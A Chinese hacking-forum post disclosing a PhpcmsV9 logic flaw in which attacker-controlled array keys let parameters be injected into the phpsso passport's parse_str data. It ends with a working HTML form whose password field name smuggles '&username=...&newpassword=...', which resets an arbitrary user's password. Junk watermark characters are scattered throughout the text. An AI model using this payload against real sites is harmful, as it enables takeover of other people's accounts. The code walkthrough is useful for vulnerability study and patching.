找回密码
 立即注册
查看: 2438|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
提到的通行证的代码:
+ A% \7 H# X. U+ |. p0 _' \
; q: x( n, F* \6 ~! D
, D( J9 N9 k5 z) `6 fparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);, {2 I8 o, D( z. P

9 W6 r! ^& n, V% G5 p; t在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
  i. u8 B4 n9 g: L4 j2 K0 K3 h2 ]( T9 G3 u8 y: z
我把它留给了你们。8 h& R. f: @6 x; w9 g* C) \3 J
不知道你们发现了它没有。$ ]# W1 V2 p- r! e1 J
% C# e: P! N0 F; V7 n1 x1 a- E; J
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
7 s! W7 s; }; i' a0 W/ V4 a; O* b
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。, ^& W7 U: X0 S, y8 R; j
  Z$ e! r1 F9 X" U+ {
也就是- x  J9 {# u! Z5 e7 x
- E6 B, v1 m# K/ ~7 p; r
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。0 x$ `. n! Q7 N

6 m! D3 B2 m: A, Q  t  M要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。) z0 }- E+ w0 L: W1 d& [
& E) h: l9 U9 ^% n+ I( c

7 K2 M8 e$ }+ Q. e; E其实我们有这样的机会,看看代码,如下:3 o4 Q8 E/ L, I. E+ Y: {

! Q- a, p( p' {8 _! \* @
5 I" s$ |6 ]7 H( `5 \& k" ^& N3 {public function auth_data($data) {
: q* S: H4 E8 e# J  a" \                $s = $sep = '';
# U1 p+ T. P8 m. P                foreach($data as $k => $v) {
, q) W. k  a6 E                        if(is_array($v)) {) u) b1 H* Q& U6 h
                                $s2 = $sep2 = '';* j) U. [" X  _9 b: R( y6 D, V" {
                                foreach($v as $k2 => $v2) {( \9 J* `8 Y) d7 R6 v; v
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);& A( H3 T" R" A# d
                                        $sep2 = '&';  S0 F/ Y/ C* i- _/ K' G
                                }, \* K+ F& X9 `
                                $s .= $sep.$s2;
& ]+ s5 R7 a- B" K                        } else {; h/ _" e; k* c
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);& K1 S2 T( p9 a
                        }" c  z' Q( c# s3 @" D8 K: a, E0 z
                        $sep = '&';9 t1 T: O4 X4 Z9 v( P* g% Q
                }8 r8 D( G4 {+ {

7 t( H) f6 ?. m4 h" k! i4 E, K                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
) }1 J  i) e5 r4 I2 {                return $auth_s;
8 H6 @' y/ m; S8 g        }: ]3 V+ Q  y9 s3 P8 P
& n3 @% Q* ]1 N8 G2 Q% Z
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
2 p& x0 v. r# z
- {! ~" U9 _8 Z$ {举个例子& |8 ~; @# m, K3 K, X8 |
5 s+ r0 U$ W8 m; b
$a[aaa=a&bbb] = 'a';) s4 b' T2 a! M+ c4 g  `1 i- |0 T; s

) y, Y' A6 ^: ]7 ]2 t3 K会变成aaa=a&bbb=a
- z3 d" J# R- v1 a- @) `; Y- d2 r! l9 j2 r2 V1 |* y
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
/ p( D$ ?& }' B+ w! i! N- t1 I) r2 n+ @; j% H9 T4 ]2 m. C7 K. M
这个时候,我们可以再去看一个函数。
1 S! `# I: H: }1 S, Z; {+ _
' Q' x* K' W# T! b就在这个文件内:" T1 \0 ]& g& _+ i8 r5 d1 R
, w7 d% [3 ?5 U" P# d
3 H6 q( y' b, C
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
4 i  D* G" }5 F. V7 N* @6 Q                if($email && !$this->_is_email($email)) {
7 U; Q+ {' w# z8 x: F- @( y( u                        return -4;
+ A4 ^& g/ u0 P3 ?; q! }  a' i                }& Z8 w. M/ A- U) _" E, ]1 Z
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));6 s% P. C1 @* I
        }
2 S$ H2 b8 j' k. n+ ]
; k4 x( q( q, w1 R* v* M这是向通行证发了这样一个请求。
$ J1 t* _$ t. I" `4 H2 f# M# I* a+ q7 U0 K% r. p5 M
我们再跟到通信证代码里去看看,就会有所发现。7 l, \" t4 p" _) P1 m0 O
9 Y8 X9 |( ^! `8 T$ W  k4 A

  C5 q2 w. u9 P; Tpublic function edit() {
. y3 ]7 x$ R  Y( j2 ?//能省就省,太长了不是吗?1 t4 m1 j; k) W' A# e6 K
: D  X5 ^) b- T% p& C2 P% Q! d5 c
if($this->username) {
# I# y$ b8 @1 ]+ t//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
' v7 {) ]: s2 A6 Q; m/ a; K" }                                $res = $this->db->update($data, array('username'=>$this->username));
/ I; N$ }2 ?  V$ {) \9 m9 w( _; i                        } else {
0 Z8 H3 ^3 T" {                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
4 k& X8 @* ^/ r8 }                                $res = $this->db->update($data, array('uid'=>$this->uid));4 z5 y% M; x; K% K/ _* l; W  u
                        }7 X  f7 J7 M! |: L) |

# p! d& R/ ~- p2 y* ^好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:/ t" y! @) P; A; \

; u- b  c- t: |2 R  d4 ^% wpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
2 z6 H( Q9 U- K8 X9 E6 R( j  Q% o. X8 Z) ^  Z6 I
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
. J- L! @+ r6 b6 [0 z1 ^
) e! I1 K% q) N# v6 k& P9 G3 d1 G我当然找到了:5 ?. @; i$ s1 r' {2 I" e
phpcms9/phpcms/modules/member/index.php9 B; [- x- ~% V4 M: `

. a4 E7 h+ L: a! r% `/ e+ ?+ u$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);6 H3 c) [  O2 R0 u

9 [* |2 i+ i& {7 F然后就没有然后了。
. @4 u" R7 c/ I1 H6 P; q9 M6 j$ ]4 \  M" O4 U
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">' Y( H( p+ W1 g4 ]4 z* D* N& q8 [& \) k
                                <table width="100%" cellspacing="0" class="table_form">- N% w, @7 |' }- M. y/ V$ B3 A
                                        <tr>' H' P9 _# }# N" n4 `! ~- X* ]
                                                <th width="80">邮箱:</th>        
3 D4 P4 e8 m$ \7 d                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
8 }7 o- V$ e8 t* w- U' \" w                                        </tr>. S. s% R7 L. q5 `1 m$ \! k
                                        <tr>
/ M# z7 A' {0 |$ J                                                <th width="80">原密码:</th>        ! B, u3 C( _9 }
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
1 G. g/ R  B1 {  N                                        </tr>4 \: s% P- Q6 A3 Q
                                        <tr>) }' b, c$ v2 e% M% ~4 c/ z
                                                <th>新密码:</th>
6 Z; y; N- p8 H8 B  F                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
7 w: Q5 g6 i% w! W                                        </tr>
, V) s& O, D6 T) S) _6 [                                        <th></th>
; S( c- }( E+ x. s' w% n! Y! B                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>) {: d' I: @+ Y: K3 E! d7 k! G
                                        </tr>
0 Y7 |: I4 T( X) s& L& A                                </table>$ L! t& C! Q, o

% d" V; p/ X& K( i                                , I" b: r' e0 R7 p6 K& ?6 r
                        </form>
* C  [( Y" X1 T! G+ y# p8 g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表